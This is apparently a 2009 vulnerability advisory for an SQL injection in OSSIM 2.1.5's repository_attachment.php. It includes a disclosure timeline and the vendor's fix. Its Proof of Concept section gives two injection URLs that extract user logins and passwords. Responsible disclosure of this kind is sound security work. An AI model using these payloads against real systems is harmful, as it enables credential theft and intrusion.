Advisory Name: SQL injection in OSSIM
 
Vulnerability Class: SQL injection
 
Release Date: 12-16-2009
 
Affected Applications: Confirmed in OSSIM 2.1.5. Other versions may also be affected.
 
Affected Platforms: Multiple
 
Local / Remote: Remote
 
Severity: High – CVSS: 9 (AV:N/AC:L/Au:S/C:C/I:C/A:C)
 
Researcher: Nahuel Grisolía
 
Vendor Status: Acknowledged/Fixed. New release available (OSSIM 2.1.5-4)
 
Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf
 
Vulnerability Description:
 
A vulnerability has been discovered in OSSIM, which can be exploited by malicious people to conduct
SQL injection attacks.
Input passed via the "id_document" parameter to repository_attachment.php is not properly sanitized
before being used in a SQL query. This can be exploited to manipulate SQL queries by injecting
arbitrary SQL code.
The vulnerability is confirmed in version 2.1.5. Other versions may also be affected.
 
Proof of Concept:
 
http://server/ossim/repository/repository_attachment.php?id_document=1%20union
%20select%201,2,login,4%20from%20users
http://server/ossim/repository/repository_attachment.php?id_document=1%20union
%20select%201,2,pass,4%20from%20users
 
Impact: Execute arbitrary SQL queries.
 
Solution: Upgrade to OSSIM 2.1.5-4
 
Vendor Response:
 
2009-12-08 – Vulnerability is identified
2009-12-09 – Vendor is contacted
2009-12-09 – Vendor confirmed vulnerability
2009-12-16 – Vendor released fixed version
2009-12-16 – Vulnerability is published
 
Contact Information:
 
For more information regarding the vulnerability feel free to contact the researcher at
ngrisolia <at> cybsec <dot> com
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